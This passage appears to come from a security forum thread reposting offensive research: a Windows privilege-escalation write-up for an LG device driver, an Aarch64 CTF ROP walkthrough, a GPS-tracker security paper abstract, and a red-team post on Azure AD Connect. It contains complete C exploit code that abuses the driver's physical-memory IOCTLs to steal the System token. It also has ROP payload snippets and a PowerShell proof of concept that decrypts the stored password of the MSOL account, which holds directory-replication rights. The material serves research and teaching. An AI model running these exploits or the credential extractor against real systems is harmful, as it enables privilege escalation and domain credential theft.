a file so you can read or write to it. With a handle, you can use the DeviceIoControl API to send requests to the driver's DispatchDeviceControl function. phymem_read and phymem_write are wrapper functions using DeviceIoControl to make the appropriate requests to the driver. We're defining the READ_REQUEST and WRITE_REQUEST structs based on what we inferred from IDA and validated with ioctlpus. #define DEVICE_SYMBOLIC_LINK "\\\\.\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}" #define IOCTL_READ_PHYSICAL_MEMORY 0x9C402FD8 #define IOCTL_WRITE_PHYSICAL_MEMORY 0x9C402FDC typedef struct { DWORDLONG address; DWORD length; } READ_REQUEST; typedef struct { DWORDLONG address; DWORD length; DWORDLONG buffer; } WRITE_REQUEST; HANDLE get_device_handle(char* device_symbolic_link) { HANDLE device_handle = INVALID_HANDLE_VALUE; device_handle = CreateFileA(device_symbolic_link, // Device to open GENERIC_READ | GENERIC_WRITE, // Request R/W access FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W NULL, // Default security attributes OPEN_EXISTING, // Default disposition 0, // No flags/attributes NULL); // Don't copy attributes return device_handle; } PBYTE phymem_read(HANDLE device_handle, DWORDLONG address, DWORD length) { // Prepare input and output buffers. READ_REQUEST input_buffer = { address, length }; PBYTE output_buffer = (PBYTE)malloc(length); DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_READ_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size output_buffer, // Output buffer pointer length, // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_buffer; } DWORD phymem_write(HANDLE device_handle, DWORDLONG address, DWORD length, DWORDLONG buffer) { // Prepare input and output buffers. WRITE_REQUEST input_buffer = { address, length, buffer }; DWORD output_address = NULL; DWORD bytes_returned = 0; DeviceIoControl(device_handle, // Device to be queried IOCTL_WRITE_PHYSICAL_MEMORY, // Operation to perform &input_buffer, // Input buffer pointer sizeof(input_buffer), // Input buffer size (PVOID)&output_address, // Output buffer pointer sizeof(output_address), // Output buffer size &bytes_returned, // Number of bytes returned (LPOVERLAPPED)NULL); // Synchronous I/O return output_address; } Step 2: Finding EPROCESS Structures in Physical Memory Another function, phymem_find is created on top of phymem_read so that it can find buffers in memory. The memmem function is also implemented to support phymem_find, and functions similarly to strstr but with support for buffers with null bytes. phymem_find accepts a range of addresses (start_address and stop_address), the size of the buffer to be read (search_space), and the buffer to find (search_buffer and buffer_len). int memmem(PBYTE haystack, DWORD haystack_size, PBYTE needle, DWORD needle_size) { int haystack_offset = 0; int needle_offset = 0; haystack_size -= needle_size; for (haystack_offset = 0; haystack_offset <= haystack_size; haystack_offset++) { for (needle_offset = 0; needle_offset < needle_size; needle_offset++) if (haystack[haystack_offset + needle_offset] != needle[needle_offset]) break; // Next character in haystack. if (needle_offset == needle_size) return haystack_offset; } return -1; } DWORDLONG phymem_find(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, DWORD search_space, PBYTE search_buffer, DWORD buffer_len) { DWORDLONG match_address = -1; // Cap the search space to the max available. if ((start_address + search_space) > stop_address) return match_address; PBYTE read_buffer = phymem_read(device_handle, start_address, search_space); int offset = memmem(read_buffer, search_space, search_buffer, buffer_len); free(read_buffer); if (offset >= 0) match_address = start_address + offset; return match_address; } Now that we're able to search physical memory with phymem_find, we'll want to develop a capability for finding EPROCESS structures. Ideally we should have our search buffer (or needle) be a valid, reliable, and parsimonious subset of the structure where once identified we can find our security token at a fixed offset. We can use WinDbg to find potential needle candidates: 0: kd> * Get a listing of processes and their EPROCESS addresses. 0: kd> !dml_proc Address PID Image file name ffffb704`2d0993c0 4 System ffffb704`31d8b040 198 smss.exe ... snip ... 0: kd> * Dump EPROCESS struct for System process. 0: kd> dt nt!_EPROCESS ffffb704`2d0993c0 +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : 0x00000000`00000004 Void +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffb704`31d8b328 - 0xfffff803`8c3f3c20 ] +0x2f8 RundownProtect : _EX_RUNDOWN_REF ... snip ... +0x358 Token : _EX_FAST_REF ... snip ... +0x448 ImageFilePointer : (null) +0x450 ImageFileName : [15] "System" +0x45f PriorityClass : 0x2 '' +0x460 SecurityPort : (null) We'll know the name and PID for each process we're targeting, so the UniqueProcessId and ImageFileName fields should be good candidates. Problem is that we won't be able to accurately predict the values for every field between them. Instead, we can define two needles: one that has ImageFileName and another that has UniqueProcessId. We can see that their corresponding byte buffers have predictable outputs. 0: kd> * Show byte buffer for ImageFileName ("System") + PriorityClass (0x00000002): 0: kd> db ffffb704`2d0993c0+450 l0x13 ffffb704`2d099810 53 79 73 74 65 6d 00 00-00 00 00 00 00 00 00 02 System.......... ffffb704`2d099820 00 00 00 ... 0: kd> * Show byte buffer for ProcessLock (0x00000000`00000000) + UniqueProcessId (0x00000000`00000004): 0: kd> db ffffb704`2d0993c0+2d8 l0x10 ffffb704`2d099698 00 00 00 00 00 00 00 00-04 00 00 00 00 00 00 00 ................ Let's define structs for these needles and a phymem_find_eprocess function that will find and return the physical address for a process object when provided with an address range and the two needles. It will look for ImageFileName + PriorityClass first, and if there's a match, confirm by checking ProcessLock + UniqueProcessId at a fixed offset. Including these additional fields will help increase our confidence that we're finding the right data in memory. // EPROCESS offsets (Windows 10 v1703-1903): #define OFFSET_PROCESSLOCK 0x2D8 #define OFFSET_TOKEN 0x358 #define OFFSET_IMAGEFILENAME 0x450 typedef struct { DWORDLONG ProcessLock; DWORDLONG UniqueProcessID; } EPROCESS_NEEDLE_01; typedef struct { CHAR ImageFileName[15]; DWORD PriorityClass; } EPROCESS_NEEDLE_02; DWORDLONG phymem_find_eprocess(HANDLE device_handle, DWORDLONG start_address, DWORDLONG stop_address, EPROCESS_NEEDLE_01 needle_01, EPROCESS_NEEDLE_02 needle_02) { DWORDLONG search_address = start_address; DWORDLONG match_address = NULL; DWORDLONG eprocess_addr = NULL; DWORD search_space = 0x00001000; PBYTE needle_buffer_01 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_01)); memcpy(needle_buffer_01, &needle_01, sizeof(EPROCESS_NEEDLE_01)); PBYTE needle_buffer_02 = (PBYTE)malloc(sizeof(EPROCESS_NEEDLE_02)); memcpy(needle_buffer_02, &needle_02, sizeof(EPROCESS_NEEDLE_02)); while (TRUE) { if ((search_address + search_space) >= stop_address) { free(needle_buffer_01); free(needle_buffer_02); return match_address; } if (search_address % 0x100000 == 0) { printf("Searching from address: 0x%016I64X.\r", search_address); fflush(stdout); } match_address = phymem_find(device_handle, search_address, stop_address, search_space, needle_buffer_02, sizeof(EPROCESS_NEEDLE_02)); if (match_address > search_address) { eprocess_addr = match_address - OFFSET_IMAGEFILENAME; PBYTE buf = phymem_read(device_handle, eprocess_addr + OFFSET_PROCESSLOCK, sizeof(EPROCESS_NEEDLE_01)); if (memcmp(needle_buffer_01, buf, sizeof(EPROCESS_NEEDLE_01)) == 0) return eprocess_addr; else free(buf); } search_address += search_space; } free(needle_buffer_01); free(needle_buffer_02); return 0; } Some potential issues we can foresee with this approach: Reliability: Will PriorityClass and ProcessLock always have the values we're expecting? Validity: Could it return a match that's actually not an EPROCESS structure? Efficiency: How can we determine an optimal start address that return a result in the least amount of time? I looked into these only empirically and found that this worked most of the time. When it came to the address range, I also encountered the same issue that ReWolf had where a part of the scan would slow down significantly because it was accessing addresses that are reserved for hardware I/O. Blacklisting those sub-ranges could be possible using NtQuerySystemInformation but that requires elevation which is not useful right now. The machines I tested on had at least 8 GB of memory, so starting at offset 0x100000000 seemed to be a sweet spot. Step 3: Finding the Parent Process We know that the name and PID of our System process will be constant, but we can't say the same of the parent process of the exploit. So let's figure out what those values are is so we can populate the needle structs. Two functions can be defined for this: one finds the PID of the current process (get_parent_pid), and another gets the name of a given process (get_process_name). Both use the CreateToolhelp32Snapshot and Process32First/Next APIs to traverse through the list of processes. DWORD get_parent_pid(DWORD pid) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) return pe32.th32ParentProcessID; } while (Process32Next(hSnapshot, &pe32)); return 0; } void get_process_name(DWORD pid, PVOID buffer_ptr) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot, &pe32); do { if (pe32.th32ProcessID == pid) { memcpy(buffer_ptr, &pe32.szExeFile, strlen(pe32.szExeFile)); return; } } while (Process32Next(hSnapshot, &pe32)); } Step 4: Stealing the System Token Now that we have a way getting the addresses of our EPROCESS structures for our System and parent processes, let's read the security token from the System process and copy it into our parent process using our read and write primitives. void duplicate_token(HANDLE device_handle, DWORDLONG source_eprocess, DWORDLONG target_eprocess) { DWORDLONG source_token = NULL; DWORDLONG target_token = NULL; // Read security token of System into source_token. memcpy(&source_token, phymem_read(device_handle, source_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Source token (0x%016I64X): 0x%016I64X.\n", source_eprocess + OFFSET_TOKEN, source_token); // Read security token of parent process into target_token. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X.\n\n", target_eprocess + OFFSET_TOKEN, target_token); // Copy source token into target token. target_token = source_token; printf("Target token (0x%016I64X): 0x%016I64X => pre-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); phymem_write(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG), target_token); // Read target token again to verify. memcpy(&target_token, phymem_read(device_handle, target_eprocess + OFFSET_TOKEN, sizeof(DWORDLONG)), sizeof(DWORDLONG)); printf("Target token (0x%016I64X): 0x%016I64X => post-commit.\n", target_eprocess + OFFSET_TOKEN, target_token); } Step 5: Putting it All Together The main function ties the previous steps together so that we can gain LPE. To recap, we created wrapper functions for DeviceIoControl so that we can interface with the driver and read/write arbitrary memory. Then we extended the read function to search the memory haystack for needles, and extended that to search for EPROCESS structures using needle structs we defined. After developing the capability to find our parent process, we can identify the EPROCESS structures and pass them to a function that will perform the token stealing operation. int main() { printf("LG Device Manager LHA Driver LPE POC (@Jackson_T)\n"); printf("Compiled on: %s %s\n", __DATE__, __TIME__); printf("Tested on: Windows 10 x64 v1709\n\n"); // Get a handle to the LHA driver's device. HANDLE device_handle = get_device_handle(DEVICE_SYMBOLIC_LINK); DWORDLONG root_pid = 4; DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId()); DWORDLONG root_eprocess = NULL; DWORDLONG user_eprocess = NULL; DWORDLONG start_address = 0x100000000; DWORDLONG stop_address = _UI64_MAX; // Define our needles. EPROCESS_NEEDLE_01 needle_root_process_01 = { 0, root_pid }; EPROCESS_NEEDLE_02 needle_root_process_02 = { "System", 2 }; EPROCESS_NEEDLE_01 needle_user_process_01 = { 0, user_pid }; EPROCESS_NEEDLE_02 needle_user_process_02 = { 0 }; get_process_name(user_pid, &needle_user_process_02.ImageFileName); needle_user_process_02.PriorityClass = 2; // Search for the EPROCESS structures. printf("Finding EPROCESS Tokens in System (PID=%d) and %s (PID=%d)...\n\n", (DWORD)root_pid, needle_user_process_02.ImageFileName, (DWORD)user_pid); printf("Search range start: 0x%016I64X.\n", start_address, stop_address); root_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_root_process_01, needle_root_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n", root_pid, root_eprocess); user_eprocess = phymem_find_eprocess(device_handle, start_address, stop_address, needle_user_process_01, needle_user_process_02); printf("EPROCESS for %08Id: 0x%016I64X.\n\n", user_pid, user_eprocess); // Perform token stealing. duplicate_token(device_handle, root_eprocess, user_eprocess); CloseHandle(device_handle); if (strcmp(needle_user_process_02.ImageFileName, "explorer.exe") == 0) { printf("\nPress [Enter] to exit..."); while (getchar() != '\n'); } return 0; } If all compiles as expected, you should see the exploit work like this: Thank you for taking the time to read this! Please ping me if you have any feedback, questions, or notice any errata. Greetz fly out to ReWolf, hatRiot, gsuberland, slipstream/RoL, matrosov, and the LGE PSRT. References and Resources Books A Guide to Kernel Exploitation (Perla and Oldani, 2010) Practical Reverse Engineering (Dang, Gazet, Bachaalany, 2014): Chapter 3 Methodology Talks WDM: Windows Driver Attack Surface (van Sprundel, 2015) KMDF: Reverse Engineering and Bug Hunting on KMDF Drivers (Nissim, 2018) WDDM: Windows Kernel Graphics Driver Attack Surface (van Sprundel, 2014) Windows LPE Techniques Hunting for Privilege Escalation in Windows Environment (Kheirkhabarov, 2018) Windows Privilege Escalation Guide (McFarland, 2018) Abusing Token Privileges For LPE (Alexander and Breen, 2017) whoami /priv: Abusing Token Privileges (Pierini, 2018) @Jackson_T Sursa: http://www.jackson-t.ca/lg-driver-lpe.html
      • 1
      • Upvote
  5. ROP-ing on Aarch64 - The CTF Style 18 Feb 2019 This is walkthrough of how we managed to ROP on Aarch64, coming from a completely x86/64 background. We were the kind of people who would just not touch anything that is not x86/64. The nyanc challenge from the Insomni’hack teaser 2019 was the final push we needed to start learning about arm exploitation, with its lucrative heap-note interface. Overall, me (Jazzy) and VoidMercy spent about 24 hrs on this challenge and still didn’t manage to solve it in time, but the whole experience was worth it. As neither of us had any experience in exploiting Aarch64 and we couldn’t find a lot of documentation on how it is done, the methods and techniques we used are probably not be the best ones, but we learned a lot along the way. Aarch64 basics Before we dive into the challenge, let’s just skim over the basics quickly. I’ll try to explain everything to the best of my ability and knowledge. Registers Aarch64 has 31 general purpose registers, x0 to x30. Since it’s a 64 bit architechture, all the registers are 64 bit. But we can access the lower 32 bits of thes registers by using them with the w prefix, such as w0 and w1. There is also a 32nd register, known as xzr or the zero register. It has multiple uses which I won’t go into but in certain contexts, it is used as the stack pointer (esp equivalent) and is thereforce aliased as sp. Instructions Here are some basic instructions: mov - Just like it’s x86 counterpart, copies one register into another. It can also be used to load immediate values. mov x0, x1; copies x1 into x0 mov x1, 0x4141; loads the value 0x4141 in x1 str/ldr - store and load register. Basically stores and loads a register from the given pointer. str x0, [x29]; store x0 at the address in x29 ldr x0, [x29]; load the value from the address in x29 into x0 stp/ldp - store and load a pair of registers. Same as str/ldr but instead with a pair of registers stp x29, x30, [sp]; store x29 at sp and x30 at sp+8 bl/blr - Branch link (to register). The x86 equivalent is call. Basically jumps to a subroutine and stores the return address in x30. blr x0; calls the subroutine at the address stored in x0 b/br - Branch (to register). The x86 equivalent is jmp. Basically jumps to the specified address br x0; jump to the address stored in x0 ret - Unlike it’s x86 equivalent which pops the return address from stack, it looks for the return address in the x30 register and jumps there. Indexing modes Unlike x86, load/store instructions in Aarch64 has three different indexing “modes” to index offsets: Immediate offset : [base, #offset] - Index an offset directly and don’t mess with anything else ldr x0, [sp, 0x10]; load x0 from sp+0x10 Pre-indexed : [base, #offset]! - Almost the same as above, except that base+offset is written back into base. ldr x0, [sp, 0x10]!; load x0 from sp+0x10 and then increase sp by 0x10 Post-indexed : [base], #offset - Use the base directly and then write base+offset back into the base ldr x0, [sp], 0x10; load x0 from sp and then increase sp by 0x10 Stack and calling conventions The registers x0 to x7 are used to pass parameters to subroutines and extra parameters are passed on the stack. The return address is stored in x30, but during nested subroutine calls, it gets preserved on the stack. It is also known as the link register. The x29 register is also known as the frame pointer and it’s x86 equivalent is ebp. All the local variables on the stack are accessed relative to x29 and it holds a pointer to the previous stack frame, just like in x86. One interesting thing I noticed is that even though ebp is always at the bottom of the current stack frame with the return address right underneath it, the x29 is stored at an optimal position relative to the local variables. In my minimal testcases, it was always stored on the top of the stack (along with the preserved x30) and the local variables underneath it (basically a flipped oritentation compared to x86). The challenge We are provided with the challenge files and the following description: Challenge runs on ubuntu 18.04 aarch64, chrooted It comes with the challenge binary, the libc and a placeholder flag file. It was the mentioned that the challenge is being run in a chroot, so we probably can’t get a shell and would need to do a open/read/write ropchain. The first thing we need is to set-up an environment. Fortunately, AWS provides pre-built Aarch64 ubuntu server images and that’s what we will use from now on. Part 1 - The heap Not Yet Another Note Challenge... ====== menu ====== 1. alloc 2. view 3. edit 4. delete 5. quit We are greeted with a wonderful and familiar (if you’re a regular CTFer) prompt related to heap challenges. Playing with it a little, we discover an int underflow in the alloc function, leading to a heap overflow in the edit function: __int64 do_add() { __int64 v0; // x0 int v1; // w0 signed __int64 i; // [xsp+10h] [xbp+10h] __int64 v4; // [xsp+18h] [xbp+18h] for ( i = 0LL; ; ++i ) { if ( i > 7 ) return puts("no more room!"); if ( !mchunks[i].pointer ) break; } v0 = printf("len : "); v4 = read_int(v0); mchunks[i].pointer = malloc(v4); if ( !mchunks[i].pointer ) return puts("couldn't allocate chunk"); printf("data : "); v1 = read(0LL, mchunks[i].pointer, v4 - 1); LOWORD(mchunks[i].size) = v1; *(_BYTE *)(mchunks[i].pointer + v1) = 0; return printf("chunk %d allocated\n"); } __int64 do_edit() { __int64 v0; // x0 __int64 result; // x0 int v2; // w0 __int64 v3; // [xsp+10h] [xbp+10h] v0 = printf("index : "); result = read_int(v0); v3 = result; if ( result >= 0 && result <= 7 ) { result = LOWORD(mchunks[result].size); if ( LOWORD(mchunks[v3].size) ) { printf("data : "); v2 = read(0LL, mchunks[v3].pointer, (unsigned int)LOWORD(mchunks[v3].size) - 1); LOWORD(mchunks[v3].size) = v2; result = mchunks[v3].pointer + v2; *(_BYTE *)result = 0; } } return result; } If we enter 0 as len in alloc, it would allocate a valid heap chunk and read -1 bytes into it. Because read uses unsigned values, -1 would become 0xffffffffffffffff and the read would error out as it’s not possible to read such a huge value. With read erroring out, the return value (-1 for error) would then be stored in the size member of the global chunk struct. In the edit function, the size is used as a 16 bit unsigned int, so -1 becomes 0xffff, leading to the overflow Since this post is about ROP-ing and the heap in Aarch64 is almost the same as x86, I’ll just be skimming over the heap exploit. Because there was no free() in the binary, we overwrote the size of the top_chunk which got freed in the next allocation, giving us a leak. Since the challenge server was using libc2.27, tcache was available which made our lives a lot easier. We could just overwrite the FD of the top_chunk to get an arbitrary allocation. First we leak a libc address, then use it to get a chunk near environ, leaking a stack address. Finally, we allocate a chunk near the return address (saved x30 register) to start writing our ROP-chain. Part 2 - The ROP-chain Now starts the interesting part. How do we find ROP gadgets in Aarch64? Fortunately for us, ropper supports Aarch64. But what kind of gadgets exist in Aarch64 and how can we use them? $ ropper -f libc.so.6 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% Gadgets ======= 0x00091ac4: add sp, sp, #0x140; ret; 0x000bf0dc: add sp, sp, #0x150; ret; 0x000c0aa8: add sp, sp, #0x160; ret; .... Aaaaand we are blasted with a shitload of gadgets. Most of the these are actually not very useful as the ret depends on the x30 register. The address in x30 is where gadget will return when it executes a ret. If the gadget doesn’t modify x30 in a way we can control it, we won’t be able to control the exectuion flow and get to the next gadget. So to get a ROP-chain running in Aarch64, we can only use the gadgets which: perform the function we want pop x30 from the stack ret With our heap exploit, we were only able to allocate a 0x98 chunk on the stack and the whole open/read/write chain would take a lot more space, so the first thing we need is to read in a second ROP-chain. One way to do that is to call gets(stack_address), so we can basically write an infinite ROP-chain on the stack (provided no newlines). So how do we call gets()? It’s a libc function and we already have a libc leak, the only thing we need is to get the address of gets in x30 and a stack address in x0 (function parameters are passedin x0 to x7). After a bit of gadget hunting, here is the gadget I settled upon: 0x00062554: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret; It essentially loads x0 from x29+0x18 and then pop x29 and x30 from the top of the stack (ldp xx,xy [sp] is essentially equal to popping). It then moves stack down by 0x20 (sp+0x20 in post indexed addressing). In almost all the gadgets, most of loads/stores are done relative to x29 so we need to make sure we control it properely too. Here is how the stack looks at the epilogue of the alloc function just before the execution of our first gadget. It pops the x29 and x30 from the stack and returns, jumping to our first gadget. Since we control x29, we control x0. Now the only thing left is to return to gets, but it won’t work if we return directly at the top of gets. Why? Let’s look at the prologue of gets <_IO_gets>: stp x29, x30, [sp, #-48]! <_IO_gets+4>: mov x29, sp gets assume that the return address is in x30 (it would be in a normal execution) and thus it tries to preserve it on the stack along with x29. Unfortunately for us, since we reached there with ret, the x30 holds the address of gets itself. If this continues, it would pop the preserved x30 at the end of gets and then jump back to gets again in an infinite loop. To bypass it, we use a simple trick and return at gets+0x8, skipping the preservation. This way, when it pops x30 at the end, we would be able to control it and jump to our next gadget. This is the rough sketch of our first stage ROP-chain: gadget = libcbase + 0x00062554 #0x0000000000062554 : ldr x0, [x29, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret // to control x0 payload = "" payload += p64(next_x29) + p64(gadget) + p64(0x0) + p64(0x8) # 0x0 and 0x8 are the local variables that shouldn't be overwritten payload += p64(next_x29) + p64(gets_address) + p64(0x0) + p64(new_x29_stack) # Link register pointing to the next frame + gets() of libc + just a random stack variable + param popped by gadget_1 into x1 (for param of gets) Now that we have infinite space for our second stage ROP-chain, what should we do? At first we decided to do the open/read/write all in ROP but it would make it unnecessarily long and complex, so instead we mprotect() the stack to make it executable and then jump to shellcode we placed on the stack. mprotect takes 3 arguments, so we need to control x0, x1 and x2 to succeed. Well, we began gadget hunting again. We already control x0, so we found this gadget: gadget_1 = 0x00000000000ed2f8 : mov x1, x0 ; ret At first glance, it looks perfect, copying x0 into x1. But if you have been paying close attention, you would realize it doesn’t modify x30, so we won’t be able to control execution beyond this. What if we take a page from JOP (jump oriented programming) and find a gadget which given us the control of x30 and then jumps (not call) to another user controlled address? gadget_2 = 0x000000000006dd74 :ldp x29, x30, [sp], #0x30 ; br x3 Oh wowzie, this one gives us the control of x30 and then jumps to x3. Now we just need to control x3….. gadget_3 = 0x000000000003f8c8 : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret gadget_4 = 0x0000000000026dc4 : mov x3, x19 ; mov x2, x26 ; blr x20 The first gadget here gives us control of x19 and x20, the second one moves x19 into x3 and calls x20. Chaining these two, we can control x3 and still have control over the execution. Here’s our plan: Have x0 as 0x500 (mprotect length) with the same gadget we used before Use gadget_3 to make x19 = gadget_1 and x20 = gadget_2 return to gadget_4 from gadget_3, making x3 = x19 (gadget_1) gadget_4 calls x20 (gadget_2) gadget_2 gives us a controlled x30 and jumps to x3 (gadget_1) gadget_1 moves x0 (0x500) into x1 and returns Here’s the rough code equivalent: payload = "" payload += p64(next_x29) + p64(gadget_3) + p64(0x0) * x (depends on stack) #returns to gadget_3 payload += p64(next_x29) + p64(gadget_4) + p64(gadget_1) + p64(gadget_2) + p64(0x0) * 4 # moves gadget_1/3 into x19/20 and returns to gadget_4 payload += p64(next_x29) + p64(next_gadget) #setting up for the next gadget and moving x19 into x3. x20 (gadget_2) is called from gadget_4 That was haaard, now let’s see how we can control x2… gadget_6 = 0x000000000004663c : mov x2, x21 ; blr x3 This is the only new gadget we need. It moves x21 into x2 and calls x3. We can already control x21 and x3 with the help of gadget_4 and gadget_3. Now that we have full control over x0, x1 and x2, we just need to put it all together and shellcode the flag read. I won’t go into details about that. And that’s a wrap folks, you can find our final exploit here - Jazzy Sursa: https://blog.perfect.blue/ROPing-on-Aarch64
  6. Spy the little Spies - Security and Privacy issues of Smart GPS trackers Pierre Barre, Chaouki Kasmi, Eiman Al Shehhi (Submitted on 14 Feb 2019) Tracking expensive goods and/or targeted individuals with high-tech devices has been of high interest for the last 30 years. More recently, other use cases such as parents tracking their children have become popular. One primary functionality of these devices has been the collection of GPS coordinates of the location of the trackers, and to send these to remote servers through a cellular modem and a SIM card. Reviewing existing devices, it has been observed that beyond simple GPS trackers many devices intend to enclose additional features such as microphones, cameras, or Wi-Fi interfaces enabling advanced spying activities. In this study, we propose to describe the methodology applied to evaluate the security level of GPS trackers with different capabilities. Several security flaws have been discovered during our security assessment highlighting the need of a proper hardening of these devices when used in critical environments. Comments: 13 pages, 10 figures Subjects: Cryptography and Security (cs.CR) Cite as: arXiv:1902.05318 [cs.CR] (or arXiv:1902.05318v1 [cs.CR] for this version) Bibliographic data [Enable Bibex(What is Bibex?)] Submission history From: Pierre Barre [view email] [v1] Thu, 14 Feb 2019 11:54:23 UTC (881 KB) Sursa: https://arxiv.org/abs/1902.05318
  7. Azure AD Connect for Red Teamers Posted on 18th February 2019 Tagged in redteam, active directory, azuread With clients increasingly relying on cloud services from Azure, one of the technologies that has been my radar for a while is Azure AD. For those who have not had the opportunity to work with this, the concept is simple, by extending authentication beyond on-prem Active Directory, users can authenticate with their AD credentials against Microsoft services such as Azure, Office365, Sharepoint, and hundreds of third party services which support Azure AD. If we review the available documentation, Microsoft show a number of ways in which Azure AD can be configured to integrate with existing Active Directory deployments. The first, and arguably the most interesting is Password Hash Synchronisation (PHS), which uploads user accounts and password hashes from Active Directory into Azure. The second method is Pass-through Authentication (PTA) which allows Azure to forwarded authentication requests onto on-prem AD rather than relying on uploading hashes. Finally we have Federated Authentication, which is the traditional ADFS deployment which we have seen numerous times. Now of course some of these descriptions should get your spidey sense tingling, so in this post we will explore just how red teamers can leverage Azure AD (or more specifically, Azure AD Connect) to meet their objectives. Before I continue I should point out that this post is not about exploiting some cool 0day. It is about raising awareness of some of the attacks possible if an attacker is able to reach a server running Azure AD Connect. If you are looking for tips on securing your Azure AD Connect deployment, Microsoft has done a brilliant job of documenting not only configuration and hardening recommendations, but also a lot about the internals of how Azure AD's options work under the hood. Setting up our lab Before we start to play around with Azure AD, we need a lab to simulate our attacks. To create this, we will use: A VM running Windows Server 2016 An Azure account with the Global administrator role assigned within Azure AD Azure AD Connect First you'll need to set up an account in Azure AD with Global administrator privileges, which is easily done via the management portal: Once we have an account created, we will need to install the Azure AD Connect application on a server with access to the domain. Azure AD Connect is the service installed within the Active Directory environment. It is responsible for syncing and communicating with Azure AD and is what the majority of this post will focus on. To speed up the installation process within our lab we will use the "Express Settings" option during the Azure AD Connect installation which defaults to Password Hash Synchronisation: With the installation of Azure AD Connect complete, you should get a notification like this: And with that, let's start digging into some of the internals, starting with PHS. PHS... smells like DCSync To begin our analysis of PHS, we should look at one of the assemblies responsible for handling the synchronisation of password hashes, Microsoft.Online.PasswordSynchronization.dll. This assembly can be found within the default installation path of Azure AD Sync C:\Program Files\Microsoft Azure AD Sync\Bin. Hunting around the classes and methods exposed, there are a few interesting references: As you are likely aware, DRS (Directory Replication Services) prefixes a number of API's which facilitate the replication of objects between domain controllers. DRS is also used by another of our favourite tools to recover password hashes... Mimikatz. So what we are actually seeing here is just how Azure AD Connect is able to retrieve data from Active Directory to forward it onto Azure AD. So what does this mean to us? Well as we know, to perform a DCSync via Mimikatz, an account must possess the "Replicating Directory Changes" permission within AD. Referring back to Active Directory, we can see that a new user is created during the installation of Azure AD Connect with the username MSOL_[HEX]. After quickly reviewing its permissions, we see what we would expect of an account tasked with replicating AD: So how do we go about gaining access to this account? The first thing that we may consider is simply nabbing the token from the Azure AD Connect service or injecting into the service with Cobalt Strike... Well Microsoft have already thought of this, and the service responsible for DRS (Microsoft Azure AD Sync) actually runs as NT SERVICE\ADSync, so we're going to have a work a bit harder to gain those DCSync privileges. Now by default when deploying the connector a new database is created on the host using SQL Server's LOCALDB. To view information on the running instance, we can use the installed SqlLocalDb.exe tool: The database supports the Azure AD Sync service by storing metadata and configuration data for the service. Searching we can see a table named mms_management_agent which contains a number of fields including private_configuration_xml. The XML within this field holds details regarding the MSOL user: As you will see however, the password is omitted from the XML returned. The encrypted password is actually stored within another field, encrypted_configuration. Looking through the handling of this encrypted data within the connector service, we see a number of references to an assembly of C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll which is responsible for key management and the decryption of this data: To decrypt the encrypted_configuration value I created a quick POC which will retrieve the keying material from the LocalDB instance before passing it to the mcrypt.dll assembly to decrypt: Write-Host “AD Connect Sync Credential Extract POC (@_xpn_)`n” $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password) view raw azuread_decrypt_msol.ps1 hosted with ❤ by GitHub And when executed, the decrypted password for the MSOL account will be 